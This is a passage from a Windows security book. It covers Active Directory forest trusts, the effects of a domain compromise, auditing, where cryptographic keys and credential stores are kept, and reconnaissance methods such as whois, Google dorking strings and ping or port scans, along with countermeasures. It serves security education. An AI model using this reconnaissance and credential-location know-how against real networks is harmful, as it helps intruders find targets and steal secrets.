\nthat is joined to the forest, you must consider that the Domain Administrator of that \ndomain is trusted as an equal to any other Domain Administrator.” The Deployment\nPlanning Guide goes on to specify the following scenarios that would necessitate the \ncreation of more than one forest. The following material is quoted directly from the \nWindows 2000 Server Resource Kit Deployment Planning Guide (see the “References and \nFurther Reading” section).\n" }, { "page_number": 72, "text": "44 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIf individual organizations:\nDo Not Trust Each Other’s Administrators\nA representation of every object in the forest resides in the global catalog. It is possible \nfor an administrator who has been delegated the ability to create objects to intentionally \nor unintentionally create a “denial of service” condition. You can create this condition \nby rapidly creating or deleting objects, thus causing a large amount of replication to the \nglobal catalog. Excessive replication can waste network bandwidth and slow down \nglobal catalog servers as they spend time to process replication.\nCannot Agree on a Forest Change Policy\nSchema changes, confi guration changes, and the addition of new domains to a forest \nhave forest-wide impact. Each of the organizations in a forest must agree on a process \nfor implementing these changes, and on the membership of the Schema Administrators \nand Enterprise Administrators groups. If organizations cannot agree on a common \npolicy, they cannot share the same forest.\nWant to Limit the Scope of a Trust Relationship\nEvery domain in a forest trusts every other domain in the forest. Every user in the forest \ncan be included in a group membership or appear on an access control list on any \ncomputer in the forest. If you want to prevent certain users from ever being granted \npermissions to certain resources, then those users must reside in a different forest than \nthe resources. If necessary, you can use explicit trust relationships to allow those users \nto be granted access to resources in specifi c domains.\nIf you are unable to yield administrative control of your domain, we suggest that you \nmaintain separate forests. Of course, you then lose all the benefits of a unified forest \nmodel, such as a shared global catalog and directory object space, and you also add the \noverhead of managing an additional forest. This is a good illustration of the trade-off \nbetween convenience and security.\nThe Flip Side: Can I Trust an Internet-Facing Domain?\nWe are also often asked the opposite question: Is it better to create a separate forest in \norder to add semitrusted domains to the organization? This question is especially \npertinent to creating a domain that will be accessible from the Internet, say for a web \nserver farm. This situation can be handled in one of two ways.\nOne, you could create a separate Internet-facing forest, and establish old-style, \nexplicit one-way trust to a domain within the corporate forest to protect it from potential \ncompromise. Again, you would lose the benefit of a shared directory across all domains \nin this scenario while gaining the burden of multiforest management.\nThe second option is to collapse the Internet-facing domain into an OU within the \ncorporate forest. The administrator of the OU can then be delegated control over only \nthose objects that are resident in the OU. Even if that account becomes compromised, the \ndamage to the rest of the forest is limited.\nAs with many decisions of this nature, the choice comes down to higher security \nversus easier management. Before you decide, read the next section.\n" }, { "page_number": 73, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n45\nImplications of Domain Compromise\nSo what does it mean if a domain within a forest becomes compromised? Let’s say a hacker \nknocks over a domain controller in an Internet-facing domain, or a disgruntled employee \nsuddenly decides to play rogue Domain Admin. Here’s what they might attempt, \nsummarizing the points made in this section on forest, tree, and domain security.\nAt the very least, every other domain in the forest is at risk because Domain Admins \nof any domain in the forest have the ability to take ownership and modify any information \nin the Configuration container of Active Directory and may replicate changes to that \ncontainer to any domain controller in the forest. Also, if any external domain accounts \nare authenticated in the compromised domain, the attacker may be able to glean these \ncredentials via the LSA Secrets cache (see Chapter 8), expanding his influence to other \ndomains in the forest or to domains in other forests. Finally, if the root domain is \ncompromised, members of the Enterprise Admins or Schema Admins have the potential \nto exert control over aspects of every other domain in the forest, unless those groups \nhave had their access limited manually.\nForest Trusts\nIn Windows 2000, there was no way to establish trusts between forests. If users in one \nforest needed access to resources in a second forest, you were limited to creating an external \ntrust relationship between two domains within either forest. Such trusts are one-way and \nnontransitive and therefore do not extend the trust paths throughout each forest.\nWindows Server 2003 introduced forest trusts, a new trust type that allows all domains \nin one forest to (transitively) trust all domains in another forest, via a single trust link \nbetween the two forest root domains. The primary benefit of this feature is to provide \ncompanies that acquire or merge with other companies an easier integration path for \ntheir existing infrastructures.\nTo create a forest trust, all domain controllers in both forests must be running in native \nmode (which requires all domain controllers to be Windows Server 2003 or later).\nForest trusts can be one-way or two-way, but they are not transitive at the forest level across three or \nmore forests. If Forest A trusts Forest B, and Forest B trusts Forest C, this does not create a trust \nrelationship between Forest A and Forest C.\nAuthentication Firewall By default, users in trusted forests are able to authenticate to any \nresources in the other forest via the Authenticated Users identity, unless the Selective \nAuthentication option has been set on the trust. This enables the authentication firewall, a \nnew feature in Windows Server 2003 that allows users to authenticate only to selected \nresources across a native mode trust.\nThe authentication firewall stops all authentications at the domain controllers in the \nresource forest. The domain controller adds the Other Organization SID (see Table 2-4) to \nthe user’s authentication token. This SID is checked against an Allowed To Authenticate \nright on an object for the specified user or group from the other forest or domain (this \nmust have been manually configured previously). If this check is successful, the This \nOrganization SID is added to the user’s authentication token, replacing the Other \nOrganization SID (you can have only one or the other).\n" }, { "page_number": 74, "text": "46 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nRecall that forest trusts are possible only in Windows Server 2003 and later native mode domains, so \nan authentication firewall can be used only in that scenario.\nThe Bottom Line\nHere’s a summary of Windows forests, trees, and domains from a malicious hacker’s \nperspective:\nDomain controllers are the most likely target of malicious attacks, since they house a \ngreat deal more account information. They are also the most likely systems in a Windows \nenvironment to be heavily secured and monitored, so a common ploy is to attack \nmore poorly defended systems on a domain and then leverage this early foothold to \nsubsequently gain complete control of any domains related to it. The extent of the damage \ndone through the compromise of a single system is greatly enhanced when accounts from \none domain are authenticated in other domains via use of trusts. The boundary of security \nin Windows 2000 and later is the forest, not the domain as it was under NT. Forest trusts \ncan be set up between Windows Server 2003 and later native mode forests, extending \nsecurity boundaries across both forests unless the authentication fi rewall is enabled.\nAUDITING\nWe’ve talked a lot about authentication and access control so far, but the NT family \nsecurity subsystem can do more than simply grant or deny access to resources. It can also \naudit such access. The Windows audit policy is defined via Security Policy. It essentially \ndefines which events to record, and it is managed via the Local Security Authority \nSubsystem (LSASS again). The kernel mode portions of the security subsystem work in \nconcert with the Windows Object Manager to generate audit records and send them to \nLSASS. LSASS adds relevant details (the account SID performing the access, and so on) \nand writes them to the Event Log, which in turn records them in the Security Event Log.\nIf auditing is set for an object, a System Access Control List (SACL) is assigned to \nthe object. The SACL defines the operations by which users should be logged in the \nsecurity audit log. Both successful and unsuccessful attempts can be audited.\nFor Windows systems, we recommend that the system audit policy be set to the most \naggressive settings (auditing is disabled by default). That is, enable audit of success/\nfailure for all of the Windows events except process tracking, as shown in Figure 2-5.\nNote that enabling auditing of object access does not actually enable auditing of all \nobject access; it enables only the potential for object access to be audited. Auditing must \nstill be specified on each individual object. On Windows domain controllers, heavy \nauditing of directory access may incur a performance penalty. Make sure to tailor your \naudit settings to the specific role of the system in question.\nEvent Log Management\nFor large-scale environments, probably the most significant issue you will face with \nWindows auditing is not what to audit, but how to manage the data that is produced. In \nbrief, we recommend setting the Security Event Log to a maximum size of 131,072 KB \nand to overwrite as needed for most applications (this is now the default setting in \nWindows Server 2008). The Application Log and the System Log should be set to around \n20 percent of this size.\n" }, { "page_number": 75, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n47\nEvent Log size and related configurations can be set centrally using the Group Policy Object Editor to \nedit domain policy; look under Computer Configuration\\Windows Settings\\Security Settings\\Event Log.\nMicrosoft introduced some improvements to the security auditing subsystem in \nVista, including the ability for audit categories to include multiple subcategories. Vista \nalso integrates audit event collection and forwarding of critical audit data to a central \nlocation (this capability was originally announced as the Microsoft Audit Collection \nSystem, or MACS, and was pulled from a post–Windows Server 2003 release; similar \nfunctionality is slated to ship in future versions of Microsoft Operations Manager \n(MOM)). The feature is now available under Computer Management\\Event Viewer\\\nSubscriptions. Both of these features enable enterprises to improve their ability to \norganize, analyze, and correlate audit data. Third-party security event–management \ntools are also available from companies including ArcSight and NetIQ.\nCryptography\nThis chapter has focused primarily on basic access control features of the operating \nsystem, but what about more powerful security features such as cryptography? Beginning \nin Windows 2000, each user account received a public/private key pair that is used by \nthe operating system to perform many significant functions. A malicious hacker who \ncompromises an account typically gains the ability to access the cryptographic keys \nassociated with that account. You will see one classic example of this in Chapter 11, when \nwe explore how the Encrypting File System (EFS) uses cryptographic keys associated \nwith user accounts to encrypt files.\nTable 2-8 lists storage locations in Windows Server 2003 for cryptographic materials.\nYou can use the Certificates Microsoft Management Console (MMC) snap-in to view \na user’s personal certificate stores. The RSA folder must never be renamed or moved \nFigure 2-5 Recommended Windows audit policy\n" }, { "page_number": 76, "text": "48 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nbecause this is the only place the operating system’s Cryptographic Service Providers \n(CSPs) look for private keys. The System Certificates, RSA, and Protect folders have their \nsystem attributes set. This prevents the files in them from being encrypted by EFS, which \nwould make them inaccessible.\nMicrosoft Outlook offers its own interface for importing/exporting S/MIME keys (used to encrypt and \nsign e-mail), but it does not allow you to set strong protection on access to the private key. You should \nuse the Certificates MMC snap-in to import S/MIME keys if you want to enable this functionality.\nThe .NET Framework\nOne key new change made in Windows Server 2003 is the tight integration of the .NET \nFramework. The .NET Framework is a development platform designed to simplify the \ncreation of distributed applications. It has several main components: the common \nlanguage runtime (CLR), the .NET Framework class library, and the runtime hosts.\nThe CLR is the foundation of the .NET Framework. It is actually a separate execution \nenvironment from the standard operating system runtime engine. Executables written \nKey\nStored\nComments\nUser private \nkey\n%userprofi le%\\Application \nData\\Microsoft\\Crypto\\RSA\\\n(also on domain controller if \nroaming profi le)\nAll fi les in this folder \nare encrypted with \nthe user’s master \nkey and RC4 (128- or \n56-bit depending on \nlocalization)\nUser master \nkey\n%userprofi le%\\Application \nData\\Microsoft\\Protect\n(also on domain controller \nif roaming profi le)\nThe master key is \nencrypted automatically \nby the Protected Storage \nservice and stored here\nUser\npublic key \ncertifi cates\n%userprofi le%\\Application \nData\\Microsoft\\\nSystemCertifi cates\\My\\\nCertifi cates\nTypically published \nto allow others to \nencrypt data that can be \ndecrypted only by the \nuser private key\nDomain\ncontroller \nbackup/\nrestore \nmaster key\nStored as a global LSA Secret in \nHKLM/SAM\nUsed to recover the \nuser master key without \ndependence on the \nuser’s password\nTable 2-8 Storage Locations for Cryptographic Keys\n" }, { "page_number": 77, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n49\nusing the .NET Framework (called assemblies) are compiled to execute in the CLR and not \nthe operating system runtime engine. The .NET Framework class library is a collection \nof class libraries that can be used to develop .NET applications. The .NET Framework \nalso provides several runtime hosts, including Windows Forms and ASP.NET, which \nwork directly with the CLR to implement server-side runtime environments. The .NET \nFramework is installed by default starting with Windows Server 2003.\nEntire books have been written about .NET Framework security, and we’re not going \ninto a great level of detail here. For more information about the .NET Framework, see the \n“References and Further Reading” section at the end of this chapter. We focus here \nprimarily on the location of key configuration files for the CLR, which may be targeted \nby malicious hackers if they’re given the opportunity.\nThe .NET Framework files are installed in %systemroot%Microsoft.NET\\Framework\\ \n(each installed version of .NET has its own separate folder here). Some configuration \nfiles are also stored in the user’s profile directory. Table 2-9 illustrates the configuration \nfiles that control .NET Framework security policy.\nThese XML files contain configuration data that controls what types of assemblies \nmay execute on the system and the security permissions to which assemblies must \nadhere once they are loaded in the runtime. The set of permissions that an assembly \nreceives is determined by the intersection of the permission sets defined by each of these \nthree levels of policy in a hierarchical fashion: enterprise policy supersedes local security\n.config, which supersedes user security.config.\nSettings in these configuration files can be manipulated using the .NET Framework \nConfiguration tool (mscorcfg.msc).\nMachine.confi g, Web.confi g, and Custom .confi g Files\nOther key .NET Framework configuration files to consider from a security perspective are \nMachine.config (stored in the .NET system folder, per-version), which sets global parameters \nfor assemblies running on the system; Web.config (typically stored in the root folder of a \nweb application, such as C:\\Inetpub\\wwwroot\\), which defines application-level security \nconfiguration parameters such as authentication protocols and username/ password lists; \nand custom .config files that can take any name that resides in application directories.\nFile\nLocation\nEnterprise.confi g\n%CLR install path%\\Confi g\\\nSecurity.confi g \n%CLR install path%\\Confi g\\\nSecurity.confi g\n%userprofi le%\\Application data\\Microsoft\\CLR \nsecurity confi g\\%CLR version%\\\nTable 2-9 .NET Framework Security Policy Files\n" }, { "page_number": 78, "text": "50 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSUMMARY\nThe following important points were covered in this chapter:\n• All access to Windows is authenticated (even if it is as the Everyone identity), \nand an access token is built for all successfully authenticated accounts. This \ntoken is used to authorize all subsequent access to resources on the system \nby the security subsystem (which comprises both user and kernel mode \ncomponents). To date, no one has publicly disclosed a technique for defeating \nthis architecture, other than running arbitrary commands in kernel mode, \ndefeating the integrity of the entire system.\n• Windows uses SIDs to identify accounts internally; the friendly account names\nare simply conveniences. Remember to use the domain or computer name \nprepended to the username when using the net use command to log on to \nremote systems (Windows interprets the SID, not the friendly account name).\n• Members of the Administrators group are the juiciest target on a local Windows \nsystem, because they inherit the highest privileges. All other accounts have \nvery limited privileges relative to the Administrators. Compromise of an \nAdministrator is thus almost always the ultimate goal of an attacker.\n• Domain Admins and Enterprise Admins are the juiciest targets on a Windows \ndomain because they are all-powerful on the domain or forest. Compromise \nof an account that is already a member of one of these groups, or addition \nof a compromised account to the local Administrators, Domain Admins, or \nEnterprise Admins, is thus almost always the ultimate goal of an attacker.\n• The Everyone group can be leveraged to gain a foothold on a Windows system \nwithout authenticating. Also, the INTERACTIVE identity is required in many \ninstances to execute privilege escalation attacks against Windows.\n• Account information is kept in the SAM (%systemroot%\\system32\\confi g\\\nsam) or Active Directory (%systemroot%\\ntds\\ntds.dit) by default. Passwords \nare irreversibly scrambled (hashed) such that the corresponding cleartext cannot \nbe derived directly, although it can be cracked, as you will see in Chapter 7.\n• Domain controllers are the most likely targets of malicious attacks, since they \nhouse all of the account information for a given domain. They are also the most \nlikely systems in a Windows environment to be heavily secured and monitored, \nso a common ploy is to attack the more poorly defended systems on a domain \nand then leverage this early foothold to gain subsequent complete control of \nany domains related to it.\n• The extent of the damage done through the compromise of a single system is \ngreatly enhanced when accounts from one domain are authenticated in other \ndomains via the use of trusts.\n• The boundary of trust in Windows 2000 and later is the forest, not the domain \nas under NT. Forest trusts are possible in Windows Server 2003 and later native \nmode.\n" }, { "page_number": 79, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n51\n• Local authentication differs from network authentication, which uses the LM/\nNTLM protocols by default under Windows. The LM authentication algorithm \nhas known weaknesses that make it vulnerable to attacks; these are discussed \nin Chapter 5. Windows 2000 and later can optionally use the Kerberos network \nauthentication protocol in homogeneous, intra-forest environments, but currently \nno mechanism is available to force the use of Kerberos. Kerberos also has known \nattack mechanisms, which are discussed in Chapter 5.\n• In addition to authentication and authorization, Windows can audit success and \nfailure of all object access, if such auditing is enabled at the system level and, \nspecifi cally, on the object to be audited.\n• Some other major elements of Windows that may be targeted by intruders \ninclude cryptographic keys and the .NET Framework confi guration fi les.\nREFERENCES AND FURTHER READING\nReference\nLocation\nFree Tools\nUser2sid/sid2user\nwww.chem.msu.su/~rudnyi/NT/\nDumpTokenInfo\nwww.windowsitsecurity.com/Articles/Index.cfm?ArticleID=15989\nwsname\nhttp://mystuff.clarke.co.nz/MyStuff/Default.asp\nGeneral References\nArchitecture of \nWindows NT\nhttp://en.wikipedia.org/wiki/Architecture_of_Windows_NT\nExploiting 802.11 Wireless \nDriver Vulnerabilities on \nWindows\nhttp://uninformed.org/?v=6&a=2&t=sumry\nSony “rootkit” incident\nwww.securityfocus.com/brief/45\nBypassing PatchGuard on \nWindows x64\nhttp://uninformed.org/?v=3&a=3&t=sumry\nSubverting PatchGuard \nVersion 2\nhttp://uninformed.org/?v=6&a=1&t=sumry\nAccess Control Model\nhttp://msdn2.microsoft.com/en-us/library/aa374876.aspx\nSecurable Objects\nhttp://msdn2.microsoft.com/en-us/library/aa379557.aspx\nWindows Vista Security \nand Data Protection \nImprovements, including \nService Hardening\nhttp://technet.microsoft.com/en-us/windowsvista/aa905073.aspx\nMandatory Integrity \nControl (MIC)\nhttp://blogs.technet.com/steriley/archive/2006/07/21/442870.aspx\nSecurity Principals Tools \nand Settings\nhttp://technet2.microsoft.com/windowsserver/en/library/\n1bc9569c-4ef1-40d2-822d-19d9a2a7665d1033.mspx?mfr=true\n" }, { "page_number": 80, "text": "52 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nMicrosoft’s Windows \nServer 2003 Security Guide\nhttp://microsoft.com/downloads/details.aspx?FamilyId=\n8A2643C1-0685-4D89-B655-521EA6C7B4DB\nCommon Criteria for \nInformation Technology \nSecurity Evaluation \n(CCITSE), or Common \nCriteria (CC)\nwww.commoncriteriaportal.org\nMicrosoft Active Directory \nOverview\nhttp://en.wikipedia.org/wiki/Active_Directory\nUser rights in Windows \nServer 2003\nhttp://www.microsoft.com/resources/documentation/windows/\nxp/all/proddocs/en-us/uratopnode.mspx?mfr=true\nWindows Vista for \nDevelopers – Part 4 – User \nAccount Control\nhttp://weblogs.asp.net/kennykerr/archive/2006/09/29/Windows-\nVista-for-Developers-_1320_-Part-4-_1320_-User-Account-Control.aspx\nQ143475, “Windows NT \nSystem Key Permits Strong \nEncryption of the SAM”\nhttp://support.microsoft.com/support/kb/articles/q143/4/75.asp\nLuke Kenneth Casson \nLeighton’s site, a great \nresource for Windows \nauthentication information\nwww.cb1.com/~lkcl/\n.NET Framework References\n.NET Framework Home on \nthe Microsoft Developer \nNetwork\nhttp://msdn.microsoft.com/netframework/\nGotDotNet, maintained \nby Microsoft employees \non the .NET Framework \ndevelopment team\nwww.gotdotnet.com\nRecommended Books\nInside Windows 2000, 3rd \nEdition\nby Solomon & Russinovich. Microsoft Press (2000)\nUndocumented\nWindows NT\nby Dabak, Phadke, and Borate. IDG Books (1999)\nDCE/RPC over SMB: Samba \nand Windows NT Domain \nInternals\nby Luke Kenneth Casson Leighton. SAMS (1999)\n.NET Framework Security\nby Brian A. LaMacchia et al. Pearson Education (2002)\nHacking Exposed Web \nApplications, 2nd Edition\nby Joel Scambray, Mike Shema, and Caleb Sima. McGraw-Hill (2006)\n" }, { "page_number": 81, "text": "53\n3\nFootprinting \nand Scanning\n" }, { "page_number": 82, "text": "54 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nW\ne’ve all heard the phrase “casing the establishment” as it’s used to describe the \npreparatory phases of a well-planned burglary. Footprinting and scanning are \nthe digital equivalent of casing the establishment.\nFootprinting might be considered the equivalent of searching the telephone directory \nfor numbers and addresses related to a corporate target, while scanning is similar to \ndriving to the location in question and identifying which buildings are occupied and \nwhat doors and windows may be available for access. Footprinting and scanning are the \nidentification of ripe targets and available avenues of entry, and they are a critical first \nstep in the methodology of the Windows attacker. Clearly, attacking the wrong house or \noverlooking an unlocked side door can quickly derail an attack or a legitimate penetration \naudit of an organization!\nFOOTPRINTING\nFootprinting is the process of creating a complete profile of the target’s information \ntechnology (IT) posture, which typically encompasses the following categories:\n• Internet\nNetwork (Domain Name System) domain names, network address \nblocks, and location of critical systems such as name servers, mail exchange \nhosts, gateways, and so on\n• Intranet\nEssentially the same components as the Internet category, but specifi c \nfor internal networks with their own separate address/namespace, if applicable\n• Remote Access Dial-up and virtual private network (VPN) access points\n• Extranet\nPartner organizations, subsidiaries, networks, third-party \nconnectivity, and so on\n• Miscellaneous\nCatchall category for any sources of information that don’t fi t \nneatly into the other categories, including Usenet, instant messaging, Securities \nand Exchange Commission (SEC) databases, employee profi les, and so on\nFrom a professional penetration tester’s perspective, footprinting is mostly about \ncomprehensively scoping the job. The tester must probe the footprint of each of the \norganization’s IT categories in a methodological and comprehensive fashion to ensure \nthat no aspect of the organization’s digital posture gets overlooked in the ensuing scanning \nand penetration testing. Of course, the malicious hacker’s perspective is probably pretty \nmuch the same: he or she seeks out the forgotten portions of an infrastructure that may be \nunguarded, poorly maintained, and/or configured insecurely.\nThis said, examination of many of these components is outside of the scope of this \nbook, which is focused on Windows. For example, footprinting a target’s remote access \npresence is typically done by analyzing phone records and war dialing, which are not \nWindows-specific processes. Physical scoping such as war driving around a distributed \ncorporation’s offices, or assessing point-of-sale systems, are also good examples of types \nof non–Windows-oriented research. This is not to say that such analysis is not critical to \n" }, { "page_number": 83, "text": "Chapter 3: Footprinting and Scanning \n55\nestimating the overall posture of an organization, but it typically requires cross-\ndisciplinary analytical techniques that are not necessarily Windows-centric.\nSuch topics are covered in more depth in Chapter 1 of McGraw-Hill’s Hacking Exposed, \nFifth Edition and will not be reiterated here in full detail. Instead, we will focus briefly on \nfootprinting Windows systems via the Internet, since this is often the source of the most \ndangerous information leaks about the online presence of an organization.\nwhois\nPopularity:\n6\nSimplicity:\n9\nImpact:\n1\nRisk Rating:\n5\nMany tools can be used to footprint an organization’s Internet presence, but the most \ncomprehensive and effective tool is whois, the standard utility for querying Internet \nregistries. It provides several kinds of information about an organization’s Internet \npresence, including the following:\n• Internet Registrar data\n• Organizational information\n• Domain Name System (DNS) servers\n• Network address block assignments\n• Point of contact (POC) information\nThe data queried via whois is spread across numerous servers around the world for \ntechnical and political reasons. To complicate matters, the WHOIS query syntax, type of \npermitted queries, available data, and the formatting of the results can vary widely from \nserver to server. Furthermore, many of the registrars are actively restricting queries to \ncombat spammers, hackers, and resource overload (and by the way, information for \n.mil and .gov has been pulled from public view entirely due to national security concerns). \nFinally, Internet domain names (such as winhackingexposed.com) are registered \nseparately from numeric addresses (such as IP addresses, net blocks, Border Gateway \nProtocol (BGP) autonomous system numbers, and so on), so two separate whois \nmethodologies are typically pursued to develop comprehensive information about a \ntarget. Despite these peculiarities, whois remains one of the most effective tools available \nfor mining Internet presence data, so we’ll discuss a few of the more prominent techniques \nfor exploiting it here.\nA great tool for performing many types of Internet queries is Sam Spade, which \ncomes in a Win32 version and a web-based interface that are both available at http://\nsamspade.org. Sam Spade’s tool is shown in Figure 3-1 performing a domain name query \nthat reveals administrative contact phone numbers.\n" }, { "page_number": 84, "text": "56 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nMuch of the information revealed by whois may seem innocuous, but to highlight \nthe potential risks, we always like to relate one of our favorite consulting anecdotes, \nconcerning a mid-sized technology company that published its CIO’s name, direct phone \nline, and e-mail address as the point of contact information for the organization at one of \nthe large Internet registries. This information was thus trivial to obtain using a whois \nPOC query. Using this information to masquerade as the CIO, we quickly gained remote \naccess to several valuable internal resources at the client and had compromised the \ncompany’s entire network infrastructure just days later.\nSam Spade is proficient at multiple whois query types and can search many different \nwhois databases on the Internet (domain name registries, IP address databases, and so \non). It also performs many more tasks than just whois, including ping, traceroute, dig, \nDNS zone transfers, SMTP relay checking, website crawling, and much more. It is a truly \nhandy utility.\nAs noted earlier, IP address information is stored in a separate set of registries from \ndomain name data. Although Sam Spade can query IP address registries, we sometimes \nfind it helpful to visit them directly. The American Registry for Internet Numbers (ARIN) \nis the official body for making IP address block assignments in the United States, and \noffers a web-based whois tool for searching its database at http://arin.net/whois. Of \ncourse, you will need to consult other registries such as the Asia-Pacific Network \nInformation Center (APNIC) and Réseaux IP Européens (RIPE) for non-U.S. blocks. \nFigure 3-1 Sam Spade’s whois query tool reveals point of contact information about a corporate \ntarget.\n" }, { "page_number": 85, "text": "Chapter 3: Footprinting and Scanning \n57\nFigure 3-2 shows a sample query against the company name “Foundstone” that was run \nusing ARIN’s web-based whois tool.\nCountermeasure to whois Footprinting\nThe original free and open ethos of the Internet left a lot of information accessible to the \npublic, and today that remains the default case. As the Internet domain name registration \nmarketplace has matured, options to protect this information better have become more \nprevalent. For example, Internet hosting companies such as Verio now offer “Private \nRegistration” that hides critical domain name registration data (name, address, and \nphone number for administrative and technical contacts will be changed to generic \ninformation related to Verio), thus lessening the chance it will be subject to identity theft \nand unwanted spam. Verio charges a yearly fee for this feature, which seems somewhat \nbackward to us—should they be charging the fee to publish the data or perhaps a fee for \nthose running the query? But, hey, we’re just happy to see the economics of information \nprotection getting visibility in some form or another (grin).\nARIN allows POC information to be designated private, with the exception that \ninformation for at least one POC must be viewable.\nWhether marked private or not, organizations should take sensible steps to limit the \nquality of information they make available via whois or similar queries. One golden rule is \nthat information provided to Internet registrars should be sanitized of direct contact \ninformation for specific company personnel or other inappropriate information. Remember \nthe story about the CIO who had his contact information published in whois data.\nFigure 3-2 A query against “Foundstone” run through ARIN’s web-based whois tool footprints the \nIP address blocks that defi ne the organization’s Internet presence.\n" }, { "page_number": 86, "text": "58 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nInternet Search Engines\nPopularity:\n6\nSimplicity:\n9\nImpact:\n1\nRisk Rating:\n5\nIdentifying Windows systems within specific sites or domains on the Internet is quite \neasy using a standard search engine. One of our favorites is Google, which can cull \noccurrences of common NT family file paths and naming conventions across the entire \nInternet or just within a site or domain. Figure 3-3 shows an example of a Google search \nacross the Internet .com domain for the common NT/2000 web root path C:\\Inetpub. \nNote that this search identified about 15,900 matching results in about 0.84 second.\nLooking for juicier items is as easy as thinking them up and pumping them through \nGoogle—consider passwords, topologies, and connection strings. The search could easily \nbe more narrowly tailored to a specific site or domain, such as www.victim.com or victim \n.com, using Google’s Advanced Search option. Some other interesting search strings \nused to identify Windows systems on the Internet via search engines like Google are \nshown in Table 3-1. The Internet’s best-known wizard at using Google to find the most \nFigure 3-3 Using Google to fi nd Windows systems in the “.com” top-level domain\n" }, { "page_number": 87, "text": "Chapter 3: Footprinting and Scanning \n59\nalarmingly sensitive data is j0hnny, whose Google Hacking Database at http://johnny \n.ihackstuff.com/ghdb.php will simply blow you away with the things that can be found \nwith simple searches.\nThe main culprit behind this problem is the placement of revealing file paths in the \nHTML of a web page. Since search engines like Google simply index the content of sites \non the Internet, they make for a handy index of which sites contain such strings as c:\\\nwinnt and the like. One of the best examples of this is when the title of a web page \ncontains information about the path of the document. (The title can be found within the \n tags.) Microsoft FrontPage sometimes automatically inserts the \nfull path to a document when generating HTML, so be aware that this behavior may be \ngiving away more about your systems than you care to allow.\nCountermeasure to Search Engine Footprinting\nTo prevent your site from showing up in a simple Internet search, you need to \neliminate references to revealing strings in your HTML. If you don’t feel like scouring \nyour own HTML for these landmines, you can always use a search engine to ferret \nthem out for you.\nEven if you are successful at eliminating inappropriate data from your web content, \nbe aware that the Internet has a memory. Applications such as Google’s cache and the \nWayback Machine at web.archive.org take snapshots of web content going back as far \nas 1996. The only recourse we are aware of in these cases is to approach the application \nowners (such as Google) and request that the cache be removed or purged of the \noffending data.\nFor the rest of this chapter, and indeed the entire book, we assume that the crucial \ngroundwork of footprinting has been laid. This is not meant to diminish the critical role \nfootprinting plays in the overall methodology of an attack. Clearly, if the foundational \nsteps of any methodology are not carried out with deliberation and precision, the rest of \nthe process suffers immensely—especially in security, where one overlooked server or \nmodem line can be your undoing!\nSearch String\nPotential Result\nc:\\winnt\nTurns up servers with pages that reference the \nstandard NT/2000 system folder\nc:\\inetpub\nReveals servers with pages that reference the \nstandard NT/2000 Internet services root folder\nTSWeb/default.htm\nIdentifi es Windows Server 2003 Terminal Services \naccessible via browser-embedded ActiveX control\nTable 3-1 Sample Search Strings and Results\n" }, { "page_number": 88, "text": "60 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSCANNING\nAssuming that a proper footprint has been obtained, the next step is to identify what \nsystems are “alive” within the network ranges and what services they offer. To return \nbriefly to our analogy of casing the establishment, scanning is akin to identifying the \nlocation of the establishment and cataloging its doors and windows. Scanning comprises \nthree main components:\n• Ping sweeps\n• Port scans\n• Banner grabbing\nWe’ll talk about each of these techniques in this section.\nAgain, we’ll be Windows-centric here, but clearly scanning is applicable to all technologies, Microsoft-\nmanufactured or not. See the latest edition of Hacking Exposed for more details.\nPing Sweeps\nPopularity:\n5\nSimplicity:\n5\nImpact:\n1\nRisk Rating:\n4\nThe Internet Control Message Protocol (ICMP) Echo Request, more commonly known \nas ping after the utility that performs such requests, has traditionally been used to \ndetermine whether a TCP/IP host is alive. Anyone reading this book has likely used \nping at one time or another, but here is a quick illustration of the built-in Windows ping \nutility for those few who have led sheltered lives to this point:\nC:\\>ping www.victim.tst\nPinging www.victim.tst [192.168.2.5] with 32 bytes of data:\nReply from 192.168.2.5: bytes=32 time=38ms TTL=47\nReply from 192.168.2.5: bytes=32 time=36ms TTL=47\nReply from 192.168.2.5: bytes=32 time=35ms TTL=47\nReply from 192.168.2.5: bytes=32 time=40ms TTL=47\nPing statistics for 192.168.2.5:\n Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\nApproximate round trip times in milli-seconds:\n Minimum = 35ms, Maximum = 40ms, Average = 37ms\n" }, { "page_number": 89, "text": "Chapter 3: Footprinting and Scanning \n61\nA live host will respond with an ICMP Echo Reply, or ping, of its own, and if no other \nrestricting factors arise between the pinger and pingee, this response is generated. If the \nremote host does not exist or is temporarily unreachable, ping will fail and various error \nmessages will arise.\nPing is a truly efficient way to identify live hosts, especially when it’s used to perform \n“ping sweeps,” which, as the name implies, sweep entire networks using ping to identify \nall of the live hosts therein. Unfortunately, almost every Internet-connected network \nblocks ping nowadays, so a failure to receive a ping reply from a system usually means \nthat an intervening firewall or router is blocking ICMP, and it may have no bearing on \nwhether the host actually exists or not.\nThus, although ping sweeps remain useful for quick and dirty “echo-location” on \ninternal networks, they really aren’t too effective when used for security analysis. A \nbetter way to identify live hosts is to determine whether they are running any services, \nwhich is achieved via port scanning. Most port scanning tools incorporate simultaneous \nping sweep functionality anyway, so let’s talk about port scanners.\nPort Scans\nPopularity:\n9\nSimplicity:\n5\nImpact:\n2\nRisk Rating:\n5\nPort scanning is the act of connecting to each potential listening service, or port, on a \nsystem and seeing if it responds.\nThe building block of a standard TCP port scan is the three-way handshake, which is \ndetailed in Figure 3-4. In this diagram, a typical client is connecting to the World Wide \nWeb service running on TCP port 80. The client allocates an arbitrary source port for the \nsocket on a port greater than 1024 and performs a three-way handshake with the WWW \nservice listening on the server’s port 80. Once the final ACK reaches the server, a valid \nTCP session is in place between the two systems. Application-layer data can now be \nexchanged over the network.\nThis oversimplified example illustrates a single TCP connection. Port scanning \nperforms a series of these connections to arbitrary ports and attempts to negotiate the \nthree-way handshake. For example, an attacker might scan ports 1–100 on a system to try \nto identify whether any common services such as mail (TCP 25) and Web (TCP 80) are \navailable on that 